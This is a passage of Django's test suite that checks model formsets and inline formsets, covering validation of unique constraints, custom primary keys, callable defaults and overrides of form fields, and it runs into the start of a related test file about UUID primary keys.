            '<p><label for="id_book_set-0-title">Title:</label>'
            '<input id="id_book_set-0-title" type="text" name="book_set-0-title" '
            'value="Flowers of Evil" maxlength="100" />'
            '<input type="hidden" name="book_set-0-author" value="1" id="id_book_set-0-author" />'
            '<input type="hidden" name="book_set-0-id" value="3" id="id_book_set-0-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_book_set-1-title">Title:</label>'
            '<input id="id_book_set-1-title" type="text" name="book_set-1-title" maxlength="100" />'
            '<input type="hidden" name="book_set-1-author" value="1" id="id_book_set-1-author" />'
            '<input type="hidden" name="book_set-1-id" id="id_book_set-1-id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_book_set-2-title">Title:</label>'
            '<input id="id_book_set-2-title" type="text" name="book_set-2-title" maxlength="100" />'
            '<input type="hidden" name="book_set-2-author" value="1" id="id_book_set-2-author" />'
            '<input type="hidden" name="book_set-2-id" id="id_book_set-2-id" /></p>'
        )

        data = {
            'book_set-TOTAL_FORMS': '3',  # the number of forms rendered
            'book_set-INITIAL_FORMS': '1',  # the number of forms with initial data
            'book_set-MAX_NUM_FORMS': '',  # the max number of forms
            'book_set-0-id': str(book3.id),
            'book_set-0-title': 'Flowers of Evil',
            'book_set-1-title': 'Revue des deux mondes',
            'book_set-2-title': '',
        }
        formset = AuthorBooksFormSet(data, instance=author, queryset=custom_qs)
        self.assertTrue(formset.is_valid())

    def test_inline_formsets_with_custom_save_method_related_instance(self):
        """
        The ModelForm.save() method should be able to access the related object
        if it exists in the database (#24395).
        """
        class PoemForm2(forms.ModelForm):
            def save(self, commit=True):
                poem = super(PoemForm2, self).save(commit=False)
                poem.name = "%s by %s" % (poem.name, poem.poet.name)
                if commit:
                    poem.save()
                return poem

        PoemFormSet = inlineformset_factory(Poet, Poem, form=PoemForm2, fields="__all__")
        data = {
            'poem_set-TOTAL_FORMS': '1',
            'poem_set-INITIAL_FORMS': '0',
            'poem_set-MAX_NUM_FORMS': '',
            'poem_set-0-name': 'Le Lac',
        }
        poet = Poet()
        formset = PoemFormSet(data=data, instance=poet)
        self.assertTrue(formset.is_valid())

        # The Poet instance is saved after the formset instantiation. This
        # happens in admin's changeform_view() when adding a new object and
        # some inlines in the same request.
        poet.name = 'Lamartine'
        poet.save()
        poem = formset.save()[0]
        self.assertEqual(poem.name, 'Le Lac by Lamartine')

    def test_inline_formsets_with_wrong_fk_name(self):
        """ Regression for #23451 """
        message = "fk_name 'title' is not a ForeignKey to 'model_formsets.Author'."
        with self.assertRaisesMessage(ValueError, message):
            inlineformset_factory(Author, Book, fields="__all__", fk_name='title')

    def test_custom_pk(self):
        # We need to ensure that it is displayed

        CustomPrimaryKeyFormSet = modelformset_factory(CustomPrimaryKey, fields="__all__")
        formset = CustomPrimaryKeyFormSet()
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-my_pk">My pk:</label> <input id="id_form-0-my_pk" type="text" '
            'name="form-0-my_pk" maxlength="10" /></p>'
            '<p><label for="id_form-0-some_field">Some field:</label>'
            '<input id="id_form-0-some_field" type="text" name="form-0-some_field" maxlength="100" /></p>'
        )

        # Custom primary keys with ForeignKey, OneToOneField and AutoField ############

        place = Place.objects.create(pk=1, name='Giordanos', city='Chicago')

        FormSet = inlineformset_factory(Place, Owner, extra=2, can_delete=False, fields="__all__")
        formset = FormSet(instance=place)
        self.assertEqual(len(formset.forms), 2)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_owner_set-0-name">Name:</label>'
            '<input id="id_owner_set-0-name" type="text" name="owner_set-0-name" maxlength="100" />'
            '<input type="hidden" name="owner_set-0-place" value="1" id="id_owner_set-0-place" />'
            '<input type="hidden" name="owner_set-0-auto_id" id="id_owner_set-0-auto_id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_owner_set-1-name">Name:</label>'
            '<input id="id_owner_set-1-name" type="text" name="owner_set-1-name" maxlength="100" />'
            '<input type="hidden" name="owner_set-1-place" value="1" id="id_owner_set-1-place" />'
            '<input type="hidden" name="owner_set-1-auto_id" id="id_owner_set-1-auto_id" /></p>'
        )

        data = {
            'owner_set-TOTAL_FORMS': '2',
            'owner_set-INITIAL_FORMS': '0',
            'owner_set-MAX_NUM_FORMS': '',
            'owner_set-0-auto_id': '',
            'owner_set-0-name': 'Joe Perry',
            'owner_set-1-auto_id': '',
            'owner_set-1-name': '',
        }
        formset = FormSet(data, instance=place)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        owner1, = saved
        self.assertEqual(owner1.name, 'Joe Perry')
        self.assertEqual(owner1.place.name, 'Giordanos')

        formset = FormSet(instance=place)
        self.assertEqual(len(formset.forms), 3)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_owner_set-0-name">Name:</label>'
            '<input id="id_owner_set-0-name" type="text" name="owner_set-0-name" value="Joe Perry" maxlength="100" />'
            '<input type="hidden" name="owner_set-0-place" value="1" id="id_owner_set-0-place" />'
            '<input type="hidden" name="owner_set-0-auto_id" value="%d" id="id_owner_set-0-auto_id" /></p>'
            % owner1.auto_id
        )
        self.assertHTMLEqual(
            formset.forms[1].as_p(),
            '<p><label for="id_owner_set-1-name">Name:</label>'
            '<input id="id_owner_set-1-name" type="text" name="owner_set-1-name" maxlength="100" />'
            '<input type="hidden" name="owner_set-1-place" value="1" id="id_owner_set-1-place" />'
            '<input type="hidden" name="owner_set-1-auto_id" id="id_owner_set-1-auto_id" /></p>'
        )
        self.assertHTMLEqual(
            formset.forms[2].as_p(),
            '<p><label for="id_owner_set-2-name">Name:</label>'
            '<input id="id_owner_set-2-name" type="text" name="owner_set-2-name" maxlength="100" />'
            '<input type="hidden" name="owner_set-2-place" value="1" id="id_owner_set-2-place" />'
            '<input type="hidden" name="owner_set-2-auto_id" id="id_owner_set-2-auto_id" /></p>'
        )

        data = {
            'owner_set-TOTAL_FORMS': '3',
            'owner_set-INITIAL_FORMS': '1',
            'owner_set-MAX_NUM_FORMS': '',
            'owner_set-0-auto_id': six.text_type(owner1.auto_id),
            'owner_set-0-name': 'Joe Perry',
            'owner_set-1-auto_id': '',
            'owner_set-1-name': 'Jack Berry',
            'owner_set-2-auto_id': '',
            'owner_set-2-name': '',
        }
        formset = FormSet(data, instance=place)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        owner2, = saved
        self.assertEqual(owner2.name, 'Jack Berry')
        self.assertEqual(owner2.place.name, 'Giordanos')

        # Ensure a custom primary key that is a ForeignKey or OneToOneField get rendered for the user to choose.

        FormSet = modelformset_factory(OwnerProfile, fields="__all__")
        formset = FormSet()
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_form-0-owner">Owner:</label>'
            '<select name="form-0-owner" id="id_form-0-owner">'
            '<option value="" selected="selected">---------</option>'
            '<option value="%d">Joe Perry at Giordanos</option>'
            '<option value="%d">Jack Berry at Giordanos</option>'
            '</select></p>'
            '<p><label for="id_form-0-age">Age:</label>'
            '<input type="number" name="form-0-age" id="id_form-0-age" min="0" /></p>'
            % (owner1.auto_id, owner2.auto_id)
        )

        owner1 = Owner.objects.get(name='Joe Perry')
        FormSet = inlineformset_factory(Owner, OwnerProfile, max_num=1, can_delete=False, fields="__all__")
        self.assertEqual(FormSet.max_num, 1)

        formset = FormSet(instance=owner1)
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_ownerprofile-0-age">Age:</label>'
            '<input type="number" name="ownerprofile-0-age" id="id_ownerprofile-0-age" min="0" />'
            '<input type="hidden" name="ownerprofile-0-owner" value="%d" id="id_ownerprofile-0-owner" /></p>'
            % owner1.auto_id
        )

        data = {
            'ownerprofile-TOTAL_FORMS': '1',
            'ownerprofile-INITIAL_FORMS': '0',
            'ownerprofile-MAX_NUM_FORMS': '1',
            'ownerprofile-0-owner': '',
            'ownerprofile-0-age': '54',
        }
        formset = FormSet(data, instance=owner1)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        profile1, = saved
        self.assertEqual(profile1.owner, owner1)
        self.assertEqual(profile1.age, 54)

        formset = FormSet(instance=owner1)
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_ownerprofile-0-age">Age:</label>'
            '<input type="number" name="ownerprofile-0-age" value="54" id="id_ownerprofile-0-age" min="0" />'
            '<input type="hidden" name="ownerprofile-0-owner" value="%d" id="id_ownerprofile-0-owner" /></p>'
            % owner1.auto_id
        )

        data = {
            'ownerprofile-TOTAL_FORMS': '1',
            'ownerprofile-INITIAL_FORMS': '1',
            'ownerprofile-MAX_NUM_FORMS': '1',
            'ownerprofile-0-owner': six.text_type(owner1.auto_id),
            'ownerprofile-0-age': '55',
        }
        formset = FormSet(data, instance=owner1)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        profile1, = saved
        self.assertEqual(profile1.owner, owner1)
        self.assertEqual(profile1.age, 55)

    def test_unique_true_enforces_max_num_one(self):
        # ForeignKey with unique=True should enforce max_num=1

        place = Place.objects.create(pk=1, name='Giordanos', city='Chicago')

        FormSet = inlineformset_factory(Place, Location, can_delete=False, fields="__all__")
        self.assertEqual(FormSet.max_num, 1)

        formset = FormSet(instance=place)
        self.assertEqual(len(formset.forms), 1)
        self.assertHTMLEqual(
            formset.forms[0].as_p(),
            '<p><label for="id_location_set-0-lat">Lat:</label>'
            '<input id="id_location_set-0-lat" type="text" name="location_set-0-lat" maxlength="100" /></p>'
            '<p><label for="id_location_set-0-lon">Lon:</label> '
            '<input id="id_location_set-0-lon" type="text" name="location_set-0-lon" maxlength="100" />'
            '<input type="hidden" name="location_set-0-place" value="1" id="id_location_set-0-place" />'
            '<input type="hidden" name="location_set-0-id" id="id_location_set-0-id" /></p>'
        )

    def test_foreign_keys_in_parents(self):
        self.assertEqual(type(_get_foreign_key(Restaurant, Owner)), models.ForeignKey)
        self.assertEqual(type(_get_foreign_key(MexicanRestaurant, Owner)), models.ForeignKey)

    def test_unique_validation(self):
        FormSet = modelformset_factory(Product, fields="__all__", extra=1)
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-slug': 'car-red',
        }
        formset = FormSet(data)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        product1, = saved
        self.assertEqual(product1.slug, 'car-red')

        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-slug': 'car-red',
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.errors, [{'slug': ['Product with this Slug already exists.']}])

    def test_modelformset_validate_max_flag(self):
        # If validate_max is set and max_num is less than TOTAL_FORMS in the
        # data, then throw an exception. MAX_NUM_FORMS in the data is
        # irrelevant here (it's output as a hint for the client but its
        # value in the returned data is not checked)

        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '2',  # should be ignored
            'form-0-price': '12.00',
            'form-0-quantity': '1',
            'form-1-price': '24.00',
            'form-1-quantity': '2',
        }

        FormSet = modelformset_factory(Price, fields="__all__", extra=1, max_num=1, validate_max=True)
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.non_form_errors(), ['Please submit 1 or fewer forms.'])

        # Now test the same thing without the validate_max flag to ensure
        # default behavior is unchanged
        FormSet = modelformset_factory(Price, fields="__all__", extra=1, max_num=1)
        formset = FormSet(data)
        self.assertTrue(formset.is_valid())

    def test_unique_together_validation(self):
        FormSet = modelformset_factory(Price, fields="__all__", extra=1)
        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-price': '12.00',
            'form-0-quantity': '1',
        }
        formset = FormSet(data)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        price1, = saved
        self.assertEqual(price1.price, Decimal('12.00'))
        self.assertEqual(price1.quantity, 1)

        data = {
            'form-TOTAL_FORMS': '1',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-price': '12.00',
            'form-0-quantity': '1',
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.errors, [{'__all__': ['Price with this Price and Quantity already exists.']}])

    def test_unique_together_with_inlineformset_factory(self):
        # Also see bug #8882.

        repository = Repository.objects.create(name='Test Repo')
        FormSet = inlineformset_factory(Repository, Revision, extra=1, fields="__all__")
        data = {
            'revision_set-TOTAL_FORMS': '1',
            'revision_set-INITIAL_FORMS': '0',
            'revision_set-MAX_NUM_FORMS': '',
            'revision_set-0-repository': repository.pk,
            'revision_set-0-revision': '146239817507f148d448db38840db7c3cbf47c76',
            'revision_set-0-DELETE': '',
        }
        formset = FormSet(data, instance=repository)
        self.assertTrue(formset.is_valid())
        saved = formset.save()
        self.assertEqual(len(saved), 1)
        revision1, = saved
        self.assertEqual(revision1.repository, repository)
        self.assertEqual(revision1.revision, '146239817507f148d448db38840db7c3cbf47c76')

        # attempt to save the same revision against the same repo.
        data = {
            'revision_set-TOTAL_FORMS': '1',
            'revision_set-INITIAL_FORMS': '0',
            'revision_set-MAX_NUM_FORMS': '',
            'revision_set-0-repository': repository.pk,
            'revision_set-0-revision': '146239817507f148d448db38840db7c3cbf47c76',
            'revision_set-0-DELETE': '',
        }
        formset = FormSet(data, instance=repository)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset.errors, [{'__all__': ['Revision with this Repository and Revision already exists.']}])

        # unique_together with inlineformset_factory with overridden form fields
        # Also see #9494

        FormSet = inlineformset_factory(Repository, Revision, fields=('revision',), extra=1)
        data = {
            'revision_set-TOTAL_FORMS': '1',
            'revision_set-INITIAL_FORMS': '0',
            'revision_set-MAX_NUM_FORMS': '',
            'revision_set-0-repository': repository.pk,
            'revision_set-0-revision': '146239817507f148d448db38840db7c3cbf47c76',
            'revision_set-0-DELETE': '',
        }
        formset = FormSet(data, instance=repository)
        self.assertFalse(formset.is_valid())

    def test_callable_defaults(self):
        # Use of callable defaults (see bug #7975).

        person = Person.objects.create(name='Ringo')
        FormSet = inlineformset_factory(Person, Membership, can_delete=False, extra=1, fields="__all__")
        formset = FormSet(instance=person)

        # Django will render a hidden field for model fields that have a callable
        # default. This is required to ensure the value is tested for change correctly
        # when determine what extra forms have changed to save.

        self.assertEqual(len(formset.forms), 1)  # this formset only has one form
        form = formset.forms[0]
        now = form.fields['date_joined'].initial()
        result = form.as_p()
        result = re.sub(r'[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2}(?:\.[0-9]+)?', '__DATETIME__', result)
        self.assertHTMLEqual(
            result,
            '<p><label for="id_membership_set-0-date_joined">Date joined:</label>'
            '<input type="text" name="membership_set-0-date_joined" '
            'value="__DATETIME__" id="id_membership_set-0-date_joined" />'
            '<input type="hidden" name="initial-membership_set-0-date_joined" value="__DATETIME__" '
            'id="initial-membership_set-0-id_membership_set-0-date_joined" /></p>'
            '<p><label for="id_membership_set-0-karma">Karma:</label>'
            '<input type="number" name="membership_set-0-karma" id="id_membership_set-0-karma" />'
            '<input type="hidden" name="membership_set-0-person" value="%d" id="id_membership_set-0-person" />'
            '<input type="hidden" name="membership_set-0-id" id="id_membership_set-0-id" /></p>'
            % person.id)

        # test for validation with callable defaults. Validations rely on hidden fields

        data = {
            'membership_set-TOTAL_FORMS': '1',
            'membership_set-INITIAL_FORMS': '0',
            'membership_set-MAX_NUM_FORMS': '',
            'membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')),
            'initial-membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')),
            'membership_set-0-karma': '',
        }
        formset = FormSet(data, instance=person)
        self.assertTrue(formset.is_valid())

        # now test for when the data changes

        one_day_later = now + datetime.timedelta(days=1)
        filled_data = {
            'membership_set-TOTAL_FORMS': '1',
            'membership_set-INITIAL_FORMS': '0',
            'membership_set-MAX_NUM_FORMS': '',
            'membership_set-0-date_joined': six.text_type(one_day_later.strftime('%Y-%m-%d %H:%M:%S')),
            'initial-membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')),
            'membership_set-0-karma': '',
        }
        formset = FormSet(filled_data, instance=person)
        self.assertFalse(formset.is_valid())

        # now test with split datetime fields

        class MembershipForm(forms.ModelForm):
            date_joined = forms.SplitDateTimeField(initial=now)

            class Meta:
                model = Membership
                fields = "__all__"

            def __init__(self, **kwargs):
                super(MembershipForm, self).__init__(**kwargs)
                self.fields['date_joined'].widget = forms.SplitDateTimeWidget()

        FormSet = inlineformset_factory(
            Person,
            Membership,
            form=MembershipForm,
            can_delete=False,
            extra=1,
            fields="__all__",
        )
        data = {
            'membership_set-TOTAL_FORMS': '1',
            'membership_set-INITIAL_FORMS': '0',
            'membership_set-MAX_NUM_FORMS': '',
            'membership_set-0-date_joined_0': six.text_type(now.strftime('%Y-%m-%d')),
            'membership_set-0-date_joined_1': six.text_type(now.strftime('%H:%M:%S')),
            'initial-membership_set-0-date_joined': six.text_type(now.strftime('%Y-%m-%d %H:%M:%S')),
            'membership_set-0-karma': '',
        }
        formset = FormSet(data, instance=person)
        self.assertTrue(formset.is_valid())

    def test_inlineformset_factory_with_null_fk(self):
        # inlineformset_factory tests with fk having null=True. see #9462.
        # create some data that will exhibit the issue
        team = Team.objects.create(name="Red Vipers")
        Player(name="Timmy").save()
        Player(name="Bobby", team=team).save()

        PlayerInlineFormSet = inlineformset_factory(Team, Player, fields="__all__")
        formset = PlayerInlineFormSet()
        self.assertQuerysetEqual(formset.get_queryset(), [])

        formset = PlayerInlineFormSet(instance=team)
        players = formset.get_queryset()
        self.assertEqual(len(players), 1)
        player1, = players
        self.assertEqual(player1.team, team)
        self.assertEqual(player1.name, 'Bobby')

    def test_model_formset_with_custom_pk(self):
        # a formset for a Model that has a custom primary key that still needs to be
        # added to the formset automatically
        FormSet = modelformset_factory(ClassyMexicanRestaurant, fields=["tacos_are_yummy"])
        self.assertEqual(sorted(FormSet().forms[0].fields.keys()), ['restaurant', 'tacos_are_yummy'])

    def test_model_formset_with_initial_model_instance(self):
        # has_changed should compare model instance and primary key
        # see #18898
        FormSet = modelformset_factory(Poem, fields='__all__')
        john_milton = Poet(name="John Milton")
        john_milton.save()
        data = {
            'form-TOTAL_FORMS': 1,
            'form-INITIAL_FORMS': 0,
            'form-MAX_NUM_FORMS': '',
            'form-0-name': '',
            'form-0-poet': str(john_milton.id),
        }
        formset = FormSet(initial=[{'poet': john_milton}], data=data)
        self.assertFalse(formset.extra_forms[0].has_changed())

    def test_model_formset_with_initial_queryset(self):
        # has_changed should work with queryset and list of pk's
        # see #18898
        FormSet = modelformset_factory(AuthorMeeting, fields='__all__')
        Author.objects.create(pk=1, name='Charles Baudelaire')
        data = {
            'form-TOTAL_FORMS': 1,
            'form-INITIAL_FORMS': 0,
            'form-MAX_NUM_FORMS': '',
            'form-0-name': '',
            'form-0-created': '',
            'form-0-authors': list(Author.objects.values_list('id', flat=True)),
        }
        formset = FormSet(initial=[{'authors': Author.objects.all()}], data=data)
        self.assertFalse(formset.extra_forms[0].has_changed())

    def test_prevent_duplicates_from_with_the_same_formset(self):
        FormSet = modelformset_factory(Product, fields="__all__", extra=2)
        data = {
            'form-TOTAL_FORMS': 2,
            'form-INITIAL_FORMS': 0,
            'form-MAX_NUM_FORMS': '',
            'form-0-slug': 'red_car',
            'form-1-slug': 'red_car',
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for slug.'])

        FormSet = modelformset_factory(Price, fields="__all__", extra=2)
        data = {
            'form-TOTAL_FORMS': 2,
            'form-INITIAL_FORMS': 0,
            'form-MAX_NUM_FORMS': '',
            'form-0-price': '25',
            'form-0-quantity': '7',
            'form-1-price': '25',
            'form-1-quantity': '7',
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(
            formset._non_form_errors,
            ['Please correct the duplicate data for price and quantity, which must be unique.']
        )

        # Only the price field is specified, this should skip any unique checks since
        # the unique_together is not fulfilled. This will fail with a KeyError if broken.
        FormSet = modelformset_factory(Price, fields=("price",), extra=2)
        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',
            'form-0-price': '24',
            'form-1-price': '24',
        }
        formset = FormSet(data)
        self.assertTrue(formset.is_valid())

        FormSet = inlineformset_factory(Author, Book, extra=0, fields="__all__")
        author = Author.objects.create(pk=1, name='Charles Baudelaire')
        Book.objects.create(pk=1, author=author, title='Les Paradis Artificiels')
        Book.objects.create(pk=2, author=author, title='Les Fleurs du Mal')
        Book.objects.create(pk=3, author=author, title='Flowers of Evil')

        book_ids = author.book_set.order_by('id').values_list('id', flat=True)
        data = {
            'book_set-TOTAL_FORMS': '2',
            'book_set-INITIAL_FORMS': '2',
            'book_set-MAX_NUM_FORMS': '',

            'book_set-0-title': 'The 2008 Election',
            'book_set-0-author': str(author.id),
            'book_set-0-id': str(book_ids[0]),

            'book_set-1-title': 'The 2008 Election',
            'book_set-1-author': str(author.id),
            'book_set-1-id': str(book_ids[1]),
        }
        formset = FormSet(data=data, instance=author)
        self.assertFalse(formset.is_valid())
        self.assertEqual(formset._non_form_errors, ['Please correct the duplicate data for title.'])
        self.assertEqual(formset.errors, [{}, {'__all__': ['Please correct the duplicate values below.']}])

        FormSet = modelformset_factory(Post, fields="__all__", extra=2)
        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',

            'form-0-title': 'blah',
            'form-0-slug': 'Morning',
            'form-0-subtitle': 'foo',
            'form-0-posted': '2009-01-01',
            'form-1-title': 'blah',
            'form-1-slug': 'Morning in Prague',
            'form-1-subtitle': 'rawr',
            'form-1-posted': '2009-01-01'
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(
            formset._non_form_errors,
            ['Please correct the duplicate data for title which must be unique for the date in posted.']
        )
        self.assertEqual(
            formset.errors,
            [{}, {'__all__': ['Please correct the duplicate values below.']}]
        )

        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',

            'form-0-title': 'foo',
            'form-0-slug': 'Morning in Prague',
            'form-0-subtitle': 'foo',
            'form-0-posted': '2009-01-01',
            'form-1-title': 'blah',
            'form-1-slug': 'Morning in Prague',
            'form-1-subtitle': 'rawr',
            'form-1-posted': '2009-08-02'
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(
            formset._non_form_errors,
            ['Please correct the duplicate data for slug which must be unique for the year in posted.']
        )

        data = {
            'form-TOTAL_FORMS': '2',
            'form-INITIAL_FORMS': '0',
            'form-MAX_NUM_FORMS': '',

            'form-0-title': 'foo',
            'form-0-slug': 'Morning in Prague',
            'form-0-subtitle': 'rawr',
            'form-0-posted': '2008-08-01',
            'form-1-title': 'blah',
            'form-1-slug': 'Prague',
            'form-1-subtitle': 'rawr',
            'form-1-posted': '2009-08-02'
        }
        formset = FormSet(data)
        self.assertFalse(formset.is_valid())
        self.assertEqual(
            formset._non_form_errors,
            ['Please correct the duplicate data for subtitle which must be unique for the month in posted.']
        )


class TestModelFormsetOverridesTroughFormMeta(TestCase):
    def test_modelformset_factory_widgets(self):
        widgets = {
            'name': forms.TextInput(attrs={'class': 'poet'})
        }
        PoetFormSet = modelformset_factory(Poet, fields="__all__", widgets=widgets)
        form = PoetFormSet.form()
        self.assertHTMLEqual(
            "%s" % form['name'],
            '<input id="id_name" maxlength="100" type="text" class="poet" name="name" required />'
        )

    def test_inlineformset_factory_widgets(self):
        widgets = {
            'title': forms.TextInput(attrs={'class': 'book'})
        }
        BookFormSet = inlineformset_factory(Author, Book, widgets=widgets, fields="__all__")
        form = BookFormSet.form()
        self.assertHTMLEqual(
            "%s" % form['title'],
            '<input class="book" id="id_title" maxlength="100" name="title" type="text" required />'
        )

    def test_modelformset_factory_labels_overrides(self):
        BookFormSet = modelformset_factory(Book, fields="__all__", labels={
            'title': 'Name'
        })
        form = BookFormSet.form()
        self.assertHTMLEqual(form['title'].label_tag(), '<label for="id_title">Name:</label>')

    def test_inlineformset_factory_labels_overrides(self):
        BookFormSet = inlineformset_factory(Author, Book, fields="__all__", labels={
            'title': 'Name'
        })
        form = BookFormSet.form()
        self.assertHTMLEqual(form['title'].label_tag(), '<label for="id_title">Name:</label>')

    def test_modelformset_factory_help_text_overrides(self):
        BookFormSet = modelformset_factory(Book, fields="__all__", help_texts={
            'title': 'Choose carefully.'
        })
        form = BookFormSet.form()
        self.assertEqual(form['title'].help_text, 'Choose carefully.')

    def test_inlineformset_factory_help_text_overrides(self):
        BookFormSet = inlineformset_factory(Author, Book, fields="__all__", help_texts={
            'title': 'Choose carefully.'
        })
        form = BookFormSet.form()
        self.assertEqual(form['title'].help_text, 'Choose carefully.')

    def test_modelformset_factory_error_messages_overrides(self):
        author = Author.objects.create(pk=1, name='Charles Baudelaire')
        BookFormSet = modelformset_factory(Book, fields="__all__", error_messages={
            'title': {
                'max_length': 'Title too long!!'
            }
        })
        form = BookFormSet.form(data={'title': 'Foo ' * 30, 'author': author.id})
        form.full_clean()
        self.assertEqual(form.errors, {'title': ['Title too long!!']})

    def test_inlineformset_factory_error_messages_overrides(self):
        author = Author.objects.create(pk=1, name='Charles Baudelaire')
        BookFormSet = inlineformset_factory(Author, Book, fields="__all__", error_messages={
            'title': {
                'max_length': 'Title too long!!'
            }
        })
        form = BookFormSet.form(data={'title': 'Foo ' * 30, 'author': author.id})
        form.full_clean()
        self.assertEqual(form.errors, {'title': ['Title too long!!']})

    def test_modelformset_factory_field_class_overrides(self):
        author = Author.objects.create(pk=1, name='Charles Baudelaire')
        BookFormSet = modelformset_factory(Book, fields="__all__", field_classes={
            'title': forms.SlugField,
        })
        form = BookFormSet.form(data={'title': 'Foo ' * 30, 'author': author.id})
        self.assertIs(Book._meta.get_field('title').__class__, models.CharField)
        self.assertIsInstance(form.fields['title'], forms.SlugField)

    def test_inlineformset_factory_field_class_overrides(self):
        author = Author.objects.create(pk=1, name='Charles Baudelaire')
        BookFormSet = inlineformset_factory(Author, Book, fields="__all__", field_classes={
            'title': forms.SlugField,
        })
        form = BookFormSet.form(data={'title': 'Foo ' * 30, 'author': author.id})
        self.assertIs(Book._meta.get_field('title').__class__, models.CharField)
        self.assertIsInstance(form.fields['title'], forms.SlugField)






from django.forms.models import inlineformset_factory
from django.test import TestCase

from .models import (
    AutoPKChildOfUUIDPKParent, AutoPKParent, ChildRelatedViaAK,
    ChildWithEditablePK, ParentWithUUIDAlternateKey, UUIDPKChild,
    UUIDPKChildOfAutoPKParent, UUIDPKParent,
)


class InlineFormsetTests(TestCase):
    def test_inlineformset_factory_nulls_default_pks(self):
        """
        #24377 - If we're adding a new object, a parent's auto-generated pk
        from the model field default should be ignored as it's regenerated on
        the save request.

        Tests the case where both the parent and child have a UUID primary key.
        """
        FormSet = inlineformset_factory(UUIDPKParent, UUIDPKChild, fields='__all__')
        formset = FormSet()
        self.assertIsNone(formset.forms[0].fields['parent'].initial)

    def test_inlineformset_factory_ignores_default_pks_on_submit(self):
        """
        #24377 - Inlines with a model field default should ignore that default
        value to avoid triggering validation on empty forms.
        """
        FormSet = inlineformset_factory(UUIDPKParent, UUIDPKChild, fields='__all__')
        formset = FormSet({
            'uuidpkchild_set-TOTAL_FORMS': 3,
            'uuidpkchild_set-INITIAL_FORMS': 0,
            'uuidpkchild_set-MAX_NUM_FORMS': '',
            'uuidpkchild_set-0-name': 'Foo',
            'uuidpkchild_set-1-name': '',
            'uuidpkchild_set-2-name': '',
        })
        self.assertTrue(formset.is_valid())

    def test_inlineformset_factory_nulls_default_pks_uuid_parent_auto_child(self):
        """
        #24958 - Variant of test_inlineformset_factory_nulls_default_pks for
        the case of a parent object with a UUID primary key and a child object
        with an AutoField primary key.
        """
        FormSet = inlineformset_factory(UUIDPKParent, AutoPKChildOfUUIDPKParent, fields='__all__')
        formset = FormSet()
        self.assertIsNone(formset.forms[0].fields['parent'].initial)

    def test_inlineformset_factory_nulls_default_pks_auto_parent_uuid_child(self):
        """
        #24958 - Variant of test_inlineformset_factory_nulls_default_pks for
        the case of a parent object with an AutoField primary key and a child
        object with a UUID primary key.
        """
        FormSet = inlineformset_factory(AutoPKParent, UUIDPKChildOfAutoPKParent, fields='__all__')
        formset = FormSet()
        self.assertIsNone(formset.forms[0].fields['parent'].initial)

    def test_inlineformset_factory_nulls_default_pks_child_editable_pk(self):
        """
        #24958 - Variant of test_inlineformset_factory_nulls_default_pks for
        the case of a parent object with a UUID primary key and a child
        object with an editable natural key for a primary key.
        """
        FormSet = inlineformset_factory(UUIDPKParent, ChildWithEditablePK, fields='__all__')
        formset = FormSet()
        self.assertIsNone(formset.forms[0].fields['parent'].initial)

    def test_inlineformset_factory_nulls_default_pks_alternate_key_relation(self):
        """
        #24958 - Variant of test_inlineformset_factory_nulls_default_pks for
        the case of a parent object with a UUID alternate key and a child
        object that relates to that alternate key.
        """
